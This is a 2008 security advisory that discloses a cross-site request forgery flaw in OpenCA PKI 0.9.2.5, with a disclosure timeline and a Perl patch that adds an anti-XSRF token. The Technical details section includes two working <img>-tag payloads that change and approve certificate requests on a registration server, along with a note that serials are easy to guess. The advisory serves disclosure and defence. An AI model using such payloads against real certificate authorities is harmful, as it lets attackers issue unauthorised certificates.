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Posted on 14 February 2008
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||| Security Advisory AKLINK-SA-2008-001 |||
||| CVE-2008-0556 (CVE candidate) |||
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OpenCA - Cross Site Request Forgery (XSRF)
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Date released: 13.02.2008
Date reported: 12.12.2007
$Revision: 1.1 $

by Alexander Klink
Cynops GmbH
a.klink@cynops.de
https://www.cynops.de/advisories/CVE-2008-0556.txt
(S/MIME signed:
https://www.cynops.de/advisories/CVE-2008-0556-signed.txt)
https://www.klink.name/security/aklink-sa-2008-001-openca-xsrf.txt
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0556

Vendor: OpenCA LABS
Product: OpenCA PKI
Website: http://www.openca.org/projects/openca/
Vulnerability: Cross Site Request Forgery
Class: remote
Status: unpatched
Severity: high (arbitrary issuance of certificates without the knowledge
and/or consent of a registration officer)
Releases known to be affected: 0.9.2.5, possibly 0.9.2.x (untested)
Releases known NOT to be affected: none

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Background:

The OpenCA PKI Project (v0.9) is a collaborative effort to develop a
robust, full-featured and Open Source out-of-the-box Certification
Authority implementing the most used protocols with full-strength
cryptography world-wide.

Disclaimer: I am actively involved in OpenXPKI, a project with similar
goals that "inherited" most of OpenCA's core developers.

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Overview:

OpenCA suffers from a typical cross-site request forgery (XSRF) problem.
This means that an authenticated user (a registration officer, for
example) can be manipulated into executing certain activities on the
CA without his knowledge and consent. In a CA, this is especially
problematic as this means an attacker can issue arbitrary certificates
this way.

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Technical details:

As the user is authenticated using a session cookie and the forms
that are used to execute certain activities on the CA are not protected
by some kind of token, one can easily put activities for example into
an <img> tag on another website. If a user has an active session on the
CA, these activities are executed.

Examples:
<img
src="https://hostname/cgi-bin/ra/RAServer?cmd=changeCSR&dataType=NEW_REQUEST&key=57888&SUBJECT_ATTRIBUTE_0_0=CN&SUBJECT_VALUE_0_0=&SUBJECT_ATTRIBUTE_2_0=O&SUBJECT_VALUE_2_0=XSRF+Org&SUBJECT_ATTRIBUTE_1_0=CN&SUBJECT_VALUE_1_0=XSRF+CN&SUBJECT_ATTRIBUTE_3_0=DC&SUBJECT_VALUE_3_0=example&SUBJECT_ATTRIBUTE_4_0=DC&SUBJECT_VALUE_4_0=com&SUBJECT_ALT_NAME_ATTRIBUTE_0=DNS&SUBJECT_ALT_NAME_VALUE_0=xsrfsan"/>
<img
src="https://hostname/cgi-bin/ra/RAServer?head=&cmd=approveCSRnotSigned&signature=&dataType=PENDING_REQUEST&text=-----BEGIN%20HEADER-----%0ASERIAL%20=%2058912%0A-----END%20HEADER-----%0A-----BEGIN%20CERTIFICATE%20REQUEST-----%0AMIIBqjCCARMCAQAwajELMAkGA1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUx%0AITAfBgNVBAoTGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEjMCEGA1UEAxMabXlo%0Ab3N0bmFtZS5leGFtcGxlLmNvbTo0NDMwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ%0AAoGBAJSFtl67sEEZ88wyj0uxgVKlaMl%2FifSNLZPblqlCu%2BhgF3DHhFe80z5DxUk8%0AEbChgri9cVMfhK7IkInxEr6Cuz3Jv651IKX2XL4GsL1ZxZzQ8u3ywClSBVk5jBk7%0Ax7qHw%2FkyU8DNDqIJXY2ZkWAeGty7vMGyPTWRanFO8oIGO%2F7bAgMBAAGgADANBgkq%0AhkiG9w0BAQUFAAOBgQCQhWQrs54Jb8GIn8q3l2OHkmXXM5HV8aDwffwipcGPZHe9%0ANtc3be0xSQDt1q4rEikMKDVR1WTm5FubXs7ZQpDPbVU5t%2BM%2B%2BUuRbUmdP7PYlttR%0AnMg%2BEzZKP4S%2BOp4iZRA8cyqJQaJ63aQ2KzGp%2FBx7nPTjdH%2FnX3vN4tHhC1tKcw%3D%3D%0A-----END%20CERTIFICATE%20REQUEST-----%0A&key=58912"/>

Some guessing of valid serials is needed in these cases, but this can be
ignored if the user has access to the public frontend, as he can then
create a certificate request himself that can be changed and approved
using XSRF. Serials are (more or less) consecutive, so guessing is
relatively easy.

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Communication:

* 12.12.2007: Reported bug to the openca-core mailing list (the private
mailing list of core developers) via Martin Bartosch
* 17.12.2007: Martin Bartosch forwards the mail directly to the project
maintainer, Massimiliano Pala
* 02.01.2008: Asked for a contact to a release coordinator on the
openca-devel mailing list
* 01.02.2008: Sent patch to openca-core and Massimiliano Pala with the
announcement to release advisory and patch if no reply is
received until February 10th

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Solution:

Apply the following patch. It introduces an XSRF protection token
parameter that is added to all internal links and forms which consists
of a SHA1 hash of the session ID that is stored in the cookie. The
server side compares if the parameter is set correctly if needed and
complains if it is not. As no help from the current OpenCA developers
was available to us, this patch is not very well tested. It works for
us - use at your own risk.
Note that it introduces a dependency to Digest::SHA1, but this should
be included with the base modules in modern Perl distributions.

diff -ru OpenCA-0.9.2.5.orig/src/modules/openca-ac/AC.pm
OpenCA-0.9.2.5/src/modules/openca-ac/AC.pm
--- OpenCA-0.9.2.5.orig/src/modules/openca-ac/AC.pm 2008-01-14
15:05:16.000000000 +0100
+++ OpenCA-0.9.2.5/src/modules/openca-ac/AC.pm 2008-01-15
10:23:11.000000000 +0100
@@ -34,7 +34,7 @@
use OpenCA::Log::Message;

use FileHandle;
-
+use Digest::SHA1 qw( sha1_hex );

my $is_ldaps;

@@ -781,6 +781,7 @@
## return undef;
## }

+ my @not_vulnerable_cmds = qw( genMenu serverInfo getStaticPage );
if (not $self->getSession ()) {
if (not $self->login ()) {
return undef;
@@ -795,6 +796,11 @@
$self->{journal}->{login}->{role} = $self->{ident}->{role};
$self->{journal}->{session_id} = $self->{session}->getID();
$self->{journal}->{session_type} = "cookie";
+ if (defined $self->{cgi}->param('cmd') &&
+ (! grep { $_ eq $self->{cgi}->param('cmd'} }
@not_vulnerable_cmds)) {
+ # only the above commands should be called after a login
+ return undef;
+ }
return $h;
}
} else {
@@ -804,6 +810,25 @@
$self->stopSession;
return $self->checkIdent;
}
+
+ # XSRF checks
+ my $potentially_vulnerable;
+ if (defined $self->{cgi}->param('cmd')) {
+ $potentially_vulnerable = 1;
+ }
+ if (grep {$_ eq $self->{cgi}->param('cmd')} @not_vulnerable_cmds) {
+ $potentially_vulnerable = 0;
+ }
+
+ if ($potentially_vulnerable &&
+ ($self->{cgi}->param('xsrf_protection_token')
+ ne sha1_hex($self->{session}->getID()))) {
+ # potential XSRF attack
+ $self->debug('Potential XSRF attack');
+ $self->debug('XSRF token: ' .
$self->{cgi}->param('xsrf_protection_token'));
+ $self->debug('SHA1 hash of session ID: ' .
sha1_hex($self->{session}->getID()));
+ return undef;
+ }
return $self->{session}->update();
}

diff -ru OpenCA-0.9.2.5.orig/src/modules/openca-ui-html/HTML.pm
OpenCA-0.9.2.5/src/modules/openca-ui-html/HTML.pm
--- OpenCA-0.9.2.5.orig/src/modules/openca-ui-html/HTML.pm 2008-01-14
15:05:16.000000000 +0100
+++ OpenCA-0.9.2.5/src/modules/openca-ui-html/HTML.pm 2008-01-15
09:07:17.000000000 +0100
@@ -26,6 +26,7 @@
use CGI;
use Locale::Messages (':locale_h');
use Locale::Messages (':libintl_h');
+use Digest::SHA1 qw( sha1_hex );

use FileHandle;
our ($STDERR, $STDOUT);
@@ -482,6 +483,8 @@
}
$page .=
' </table>'."
";
+ my $xsrf_protection_token = sha1_hex($self->{CGI}->param('CGISESSID'));
+ $keys->{HIDDEN_LIST}->{xsrf_protection_token} = $xsrf_protection_token;
if (exists $keys->{HIDDEN_LIST})
{
my $list = $keys->{HIDDEN_LIST};
@@ -502,11 +505,22 @@
' </form>'."
".
' </body>'."
".
'</html>'."
";
+ $page = $self->addXSRFProtectionTokenToLinks($page);
$self->sendContentType();
print $STDOUT $page;
return 1;
}

+sub addXSRFProtectionTokenToLinks {
+ my $self = shift;
+ my $page = shift;
+ my $session_id = $self->{CGI}->param('CGISESSID');
+ my $xsrf_protection_token = sha1_hex($session_id);
+
+ $page =~
s/(href="[a-zA-Z/-]*?cmd=[^"]+)/$1;xsrf_protection_token=$xsrf_protection_token/g;
+ return $page;
+}
+
sub libSendMenu {

my $self = shift;
@@ -542,6 +556,7 @@
' </body>'."
".
'</html>';

+ $page = $self->addXSRFProtectionTokenToLinks($page);
print $STDOUT $page;
return 1;
}
@@ -630,6 +645,7 @@
' </form>'."
".
' </body>'."
".
'</html>'."
";
+ $page = $self->addXSRFProtectionTokenToLinks($page);
print $STDOUT $page;
return 1;
}

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Credits:

- Alexander Klink, Cynops GmbH (discovery and patch)

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Thanks:

- Jürgen Brauckmann (DFN-CERT) for providing helpful input during the
patch development

--
Dipl.-Math. Alexander Klink | IT-Security Engineer | a.klink@cynops.de
mobile: +49 (0)178 2121703 | Cynops GmbH | http://www.cynops.de
----------------------------+----------------------+---------------------
HRB 7833, Amtsgericht | USt-Id: DE 213094986 | Geschäftsführer:
Bad Homburg v. d. Höhe | | Martin Bartosch

 

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